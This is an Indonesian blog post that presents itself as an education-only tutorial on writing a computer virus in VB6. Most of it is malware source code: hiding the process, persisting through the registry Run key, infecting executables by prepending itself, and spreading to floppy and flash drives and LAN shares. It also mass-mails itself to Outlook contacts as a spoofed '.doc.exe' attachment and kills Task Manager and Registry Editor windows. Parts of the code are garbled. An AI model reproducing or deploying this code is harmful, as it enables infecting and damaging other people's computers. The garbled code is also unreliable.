0 Teknik Pembuatan Virus Menggunakan VB6

Date: 18.08
Category:
Author: Unknown
Share:
Responds: 0 Comment


Kali ini saya akan memberitahukan gimana cara pembutan virus, satu yang perlu di ketahui artikel ini terposting hanya untuk tujuan pendidikan

Ingat!!!
Hanya untuk tujuan Pendidikan

Syarat sebuah virus computer :

1. Menyembunyikan prosesnya dari pemakai

2. Mengaktifkan dirinya setiap startup sistem

3. Menyebarkan dirinya melalui media file executable

4. Mempercepat proses penyebarannya melalui media pertukaran data dan informasi

5. Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system

6. Menyebarkan dirinya dengan filename spoofing.

7. Mempercepat proses penyebarannya dengan pendekatan social engineering

8. Berusaha mempertahankan existensi dirinya

Tanpa menggunakan teori yang panjang dan lebar, kita akan membahas bagaimana hal tersebut diatas dapat dilakukan dengan menggunakan bahasa pemrograman Visual Basic.

Menyembunyikan prosesnya dari pemakai

Agar program tidak menampilkan dirinya pada Task Bar, dapat digunakan perintah 
 
App.TaskVisible = False


Kemudian untuk menyembunyikan form dapat menggunakan :

Me.Visible = FalseMengaktifkan dirinya setiap startup sistem

Agar program exe dapat diaktifkan setiap kali startup system, kita dapat menduplikasi program ke suatu folder dengan perintah :

FileCopy app.Path & "\" & app.EXEName , environ$("windir") & "\" & app.EXEName

dan menambah ke registry :

Dim WShell as Object

Set WShell = CreateObject("WScript.Shell")

WShell.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Ru n\virusku", environ$("windir") & "\" & app.EXEName

Set WShell = Nothing

Menyebarkan dirinya melalui media file executable
Program virus harus dapat menginfeksi program-program executable dengan proses sebagai berikut :
Program Executable
Setelah terinfeksi oleh program virus menjadi :

Program Virus + Program Executable + Ukuran Virus + Signature Virus

Sehingga setiap kali program yang telah terinfeksi dijalankan, maka Program Virus akan menginstalasi dirinya ke computer korban dan mengembalikan proses ke Program Executable.

Jadi pada saat program terinfeksi dijalankan, maka Program Executable harus di pulihkan kembali dengan melakukan perhitungan :

Posisi Program Executable = Ukuran File – Ukuran Virus – Ukuran Signature Virus

Sesuatu hal yang harus diperhatikan adalah infeksi terhadap Program Executable tidak boleh dilakukan berulang-ulang dan tidak boleh menginfeksi diri Program Virus sendiri, sehingga harus ditambahkan suatu Signature Virus

Private Sub PeriksadanInfeksiExe(fname As String)

Dim tSignature As String * 5

Dim OriginalCode As String

Dim fNum As Integer

'Jangan menginfeksi diri sendiri

'Hanya menginfeksi file berukuran lebih dibawah 1 Mega

If Dir(fname) <> "" Then

If FileLen&(fname) > virSize And FileLen&(fname) < fnum =" FreeFile" tsignature =" Space$(5)"> virSignature Then 'jika file virus (tidak ada virSignature)

On Error GoTo finally

Open fname For Binary Access Read Write As fNum 'Buka file target

OriginalCode = Space$(LOF(fNum))

Get fNum, , OriginalCode 'baca Program Executable

Put fNum, 1, virCode 'tulis Program Virus diawal

Put fNum, , OriginalCode 'tulis Program Executable

Put fNum, , virSize 'tulis Ukuran Virus

Put fNum, , virSignature 'tulis Signature Virus

Close fNum

finally:

End If

End If

End If

End Sub


Ketika program Executable dijalankan maka :

Private Sub VirusInitial()

Dim OriginalCode As String

Dim tSignature As String * 5

Dim fNum As Integer

Dim fname As String

virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203)

Open exePath + App.EXEName + ".exe" For Binary Access Read As #1

Seek #1, LOF(1) - 5 + 1 'pindah file pointer ke posisi virSize

tSignature = Space$(5)

Get #1, , tSignature 'baca virSignature

If tSignature <> virSignature Then 'Jika file virus sendiri

virSize = LOF(1) 'ukuran virSize sama dengan ukuran file

virCode = Space$(virSize) 'siapkan buffer virCode

Seek #1, 1 'ke posisi bof

Get #1, , virCode 'baca virCode sebesar ukuran virSize

Close #1

Call VirInstall 'instalasi virus

If Not SudahLoad Then

Load ff 'aktifkan timer virus

End If


'Jika file yang terinfeksi

Else

Seek #1, LOF(1) - 9 + 1 'pindah file pointer ke posisi virSize

Get #1, , virSize 'baca virSize (long = 4 byte)

'Baca vircode

virCode = Space$(virSize)

Seek #1, 1 'ke posisi BOF (Awal file)

Get #1, , virCode 'baca virCode sebesar ukuran virSize

OriginalCode = Space$(LOF(1) - virSize) 'siapkan buffer

Get #1, , OriginalCode 'baca originalCode

fNum = 0

Do While Dir(exePath & App.EXEName & fNum & ".exe") <> ""

fNum = fNum + 1

Loop

fname = exePath & App.EXEName & fNum & ".exe"

On Error GoTo finally

Open fname For Binary Access Write As #2

Put #2, , OriginalCode 'tulis ke file sementara

Close #2 'tutup file sementara

finally:

Close #1

Call VirInstall

If Not SudahLoad Then

Load ff 'aktifkan timer virus

End If

Call ExecuteOriginal(fname)

Kill fname 'hapus file sementara

End If

End Sub

Private Sub ExecuteOriginal(fname)

Dim Host As Long, HProc As Long, HExit As Long

Host = Shell(fname, vbNormalFocus) 'jalankan fname

HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)

GetExitCodeProcess HProc, HExit 'ambil status aktif

Do While HExit = STILL_ACTIVE 'proses ditahan selama proses masih aktif

DoEvents 'lakukan event yang lain

GetExitCodeProcess HProc, HExit

Loop

End Sub

Private Function SudahLoad() As Boolean

Dim vir_hwnd As Long

'Jika Jendela virus aktif

vir_hwnd = FindWindow(vbNullString, titleSudahLoad)

SudahLoad = Not (vir_hwnd = 0)

End Function


Mempercepat proses penyebarannya melalui media pertukaran data dan informasi

Menyebarkan dirinya ke Floppy Disk,flas disc diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau terhadap keaktifkan jendela 3½ Floppy (AJGC 19 ato flas disc oleh pemakai.

Public Sub InfeksiFloppy()

On Error GoTo BatalInfeksi

Dim floppy_hwnd As Long

Dim fname As String

'Jika Jendela Floppy terbuka

floppy_hwnd = FindWindow(vbNullString, "3½ Floppy (AJGC 19")

If Not floppy_hwnd = 0 Then

Call InfeksiResource("A:", "DOCXLS") 'Hanya infeksi Doc, Exe jangan

End If

BatalInfeksi:

End Sub



Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau removable drive diatas drive C.

Public Sub InfeksiFlashDisk()

On Error GoTo BatalInfeksi

Dim ObjFSO As Object

Dim ObjDrive As Object

Set ObjFSO = CreateObject("Scripting.FileSystemObject")

For Each ObjDrive In ObjFSO.Drives

'Asumsi semua removable drive diatas huruf C adalah flash disk

'1 - Removable drive

'2 - Fixed drive (hard disk)

'3 - Mapped network drive

'4 - CD-ROM drive

'5 - RAM disk

If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then

Call InfeksiResource(ObjDrive.DriveLetter + ":", "XLSDOC")

End If

Next

BatalInfeksi:

End Sub


Menyebarkan dirinya ke semua resource yang di Share pada computer yang terinfeksi :

Public Sub InfeksiMySharing()

Dim shares() As String, share As Variant, target As String

If GetShares("\\127.0.0.1", "Microsoft Windows Network", shares) = True Then

For Each share In shares

target = share

Call InfeksiResource(target, "XLSDOCEXE")

Next share

End If

End Sub


Menyebarkan dirinya ke semua resource share yang terbuka di LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya dalam suatu stack.

Public Sub AmbilDomain()

Dim Domains() As String, Domain As Variant

If GetShares("", "Microsoft Windows Network", Domains) = True Then

For Each Domain In Domains

If Not stackDomain.isFull Then

stackDomain.Push (Domain)

End If

Next Domain

End If

End Sub



Kemudian mengambil computer yang berada pada masing-masing Domain maupun Workgroup dalam suatu stack.

Public Sub AmbilComputer()

Dim Computers() As String, Domain As String, Computer As Variant

If Not stackDomain.isEmpty() Then

Domain = stackDomain.Pop()

If GetShares(Domain, "Microsoft Windows Network", Computers) = True Then

For Each Computer In Computers

If Not stackComputer.isFull Then

stackComputer.Push (Computer)

End If

Next Computer

End If

End If

End Sub


Dan Akhirnya mengambil semua resource yang dishare dari masing-masing Computer :

Public Sub AmbilDrive()

Dim Drives() As String, Computer As String, Drive As Variant

If Not stackComputer.isEmpty() Then

Computer = stackComputer.Pop()

If GetShares(Computer, "Microsoft Windows Network", Drives) = True Then

For Each Drive In Drives

If Not stackDrive.isFull Then

stackDrive.Push (Drive)

End If

Next Drive

End If

End If

End Sub

Public Sub InfeksiNetworkDrive()

Dim target As String

If Not stackDrive.isEmpty() Then

target = stackDrive.Pop()

Call InfeksiResource(target, "XLSDOCEXE")

End If

End Sub


Melakukan penyebaran melalui fasilitas email :

Public Sub SpreadEmailOutlook()

Dim Outlook As Object

Dim Mapi As Object

Dim Mail As Object

Dim AddressBook As Variant

Dim MailAddress As Variant

Dim i As Integer, j As Integer

On Error GoTo finally

Set Outlook = CreateObject("Outlook.Application")

Set Mapi = Outlook.GetNamespace("MAPI")

For i = 1 To Mapi.AddressLists.Count

Set AddressBook = Mapi.AddressLists(i)

For j = 1 To AddressBook.AddressEntries.Count

MailAddress = AddressBook.AddressEntries(j)

Set Mail = Outlook.CreateItem(0)

Mail.Recipients.Add (MailAddress)

Mail.Subject = "Subject Virus Anda"

Mail.Body = vbCrLf & "Pesan anda agar pemakai tertarik membuka attachment."

Mail.Attachments.Add Environ$("windir") & "\" & attachment & ".doc.exe"

Mail.Send

Next

Next

finally:

Set Outlook = Nothing

Set Mapi = Nothing

End Sub


Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system

wa tidak akan membahas tentang teknik yang satu ini. Pada dasarnya cara kerjanya adalah seperti ini, misalnya pada Windows yang otomatis menjalankan file dengan script extension tertentu (Contoh teknik virus Redlof), sehingga program virus dapat membuat script tersebut untuk mentrigger program virus.

Ada juga worms yang memanfaatkan kelemahan Outlook Express, dimana secara otomatis menjalankan Attachment tanpa klik dari pemakai.

Ada juga worms yang menyebarkan diri melalui website, dimana jika anda mengunjungi suatu website dengan software browser yang memiliki kelemahan, maka secara otomatis browser mendownload kode yang tidak diinginkan dan menjalankannya.

Ada juga worms yang menyebar melalui media Bluetooth yang dalam keadaan terbuka.

Menyebarkan dirinya dengan filename spoofing.

Teknik filename spoofing banyak digunakan oleh worms dewasa ini dengan menggunakan double extension :

Misalnya :

SuratCinta.doc.pif

Pada system yang settingnya tidak menampilkan extension file maka file tersebut diatas ditampilkan pada system sebagai :

SuratCinta.doc

Mempercepat proses penyebarannya dengan pendekatan social engineering.

Teknik ini adalah gampang-gampang sudah, tetapi sangat mempengaruhi penyebaran dan siklus hidup virus anda. Social engineering banyak digunakan oleh hacker-hacker untuk memperdaya dengan pendekatan non-teknis computer, tetapi lebih cenderung kepada pendekatan manusia.

Banyak virus menyebar dengan memanfaatkan kesenangan orang akan materi-materi pornografi, yaitu dengan membuat membuat nama-nama file, maupun pesan email yang memancing korban untuk penasaran membuka attachment.

Ada juga virus yang disebarkan pada game-game maupun crack software yang menumpang pada program tersebut.

Berusaha mempertahankan existensi dirinya

Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus tersebut :

WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies \System\DisableRegistryTools", 0, "REG_DWORD"

WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies \System\DisableCMD", 0, "REG_DWORD"


Maupun melacak jendela proses-proses musuh, dan menutupnya.

Public Sub KillEnemy()

Dim EnemyProcess(20) As String

Dim i As Integer

EnemyProcess(1) = "Registry Editor"

EnemyProcess(2) = "Windows Task Manager"

EnemyProcess(3) = "Process Viewer"

EnemyProcess(4) = "Open With"

For i = 1 To 4 Step 1

Call KillEnemyWindow(EnemyProcess(i))

Next i

End Sub

Private Sub KillEnemyWindow(target As String)

Dim Enemy_hwnd As Long

Enemy_hwnd = FindWindow(vbNullString, target)

If Not Enemy_hwnd = 0 Then

CloseWindow (Enemy_hwnd)

End If

End Sub



Artikel Terkait :



Posting Komentar